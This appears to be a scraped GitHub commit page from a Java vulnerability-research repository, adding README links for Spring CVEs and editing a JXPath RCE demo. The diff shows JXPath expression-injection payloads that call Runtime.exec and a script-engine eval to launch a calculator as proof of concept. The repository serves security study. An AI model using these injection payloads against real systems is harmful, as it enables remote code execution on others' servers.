Skip to content

Commit bdc7805

Browse files
committed
1 parent 01aa35b commit bdc7805

File tree

25 files changed

+846
-518
lines changed

25 files changed

+846
-518
lines changed

README.md

+3
Original file line numberDiff line numberDiff line change
@@ -44,9 +44,12 @@ By. Whoopsunix
4444
- [CVE-2022-22980 Spring Data MongoDB SpEL表达式注入](components/Spring%20Data%20MongoDB/CVE-2022-22980)
4545
- Spring Cloud
4646
- [CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL表达式注入](components/Spring%20Cloud/CVE-2022-22947)
47+
- [CVE-2022-22963 Spring Cloud Function functionRouter SPEL代码执行漏洞](components/Spring%20Cloud/CVE-2022-22963)
4748
- [SpringBootVulExploit by LandGrey](https://github.com/LandGrey/SpringBootVulExploit)
4849
- spring-messaging
4950
- [CVE-2018-1270 & CVE-2018-1275 Spring spring-messaging 远程命令执行漏洞](components/spring-messaging/CVE-2018-1270)
51+
- spring-commons
52+
- [CVE-2018-1273 Spring Data Commons 远程代码执行漏洞](components/Spring%20Data%20Commons/CVE-2018-1273)
5053
- [ff4j](components/ff4j)
5154
- [XStream 系列](components/XStreamDemo)
5255
- structs2

components/Apache Commons JXPath/CVE-2022-41852/poc/CVE-2022-41852Art.md renamed to components/Apache Commons JXPath/CVE-2022-41852/poc/CVE-2022-41852.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -60,7 +60,7 @@ String firstName = (String)context.getValue("getAuthorsFirstName($book)");
6060

6161
```java
6262
jxPathContext.getValue("exec(java.lang.Runtime.getRuntime(),'open -a Calculator')");
63-
jxPathContext.getValue("eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")')");
63+
jxPathContext.getValue("eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")')");
6464
```
6565

6666

components/Apache Commons JXPath/CVE-2022-41852/src/main/java/com/example/jxpathdemo/RceDemo.java

+2-1
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,8 @@ public static class User {
1212

1313
}
1414

15-
public static void main(String[] args) {
15+
public static void main(String[] args) throws InterruptedException {
16+
Thread.sleep(5);
1617
JXPathContext jxPathContext = JXPathContext.newContext(new User());
1718
// Object object = jxPathContext.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:1234/payload.xml\")");
1819
jxPathContext.getValue("exec(java.lang.Runtime.getRuntime(),'open -a Calculator')");

components/Spring Cloud/CVE-2022-22947/src/main/java/com/example/cve_2022_22947/CBController.java

-42
This file was deleted.

components/Spring Cloud/CVE-2022-22947/src/main/java/com/example/cve_2022_22947/MemNeoregeorg.java

-224
This file was deleted.

0 commit comments

Comments
 (0)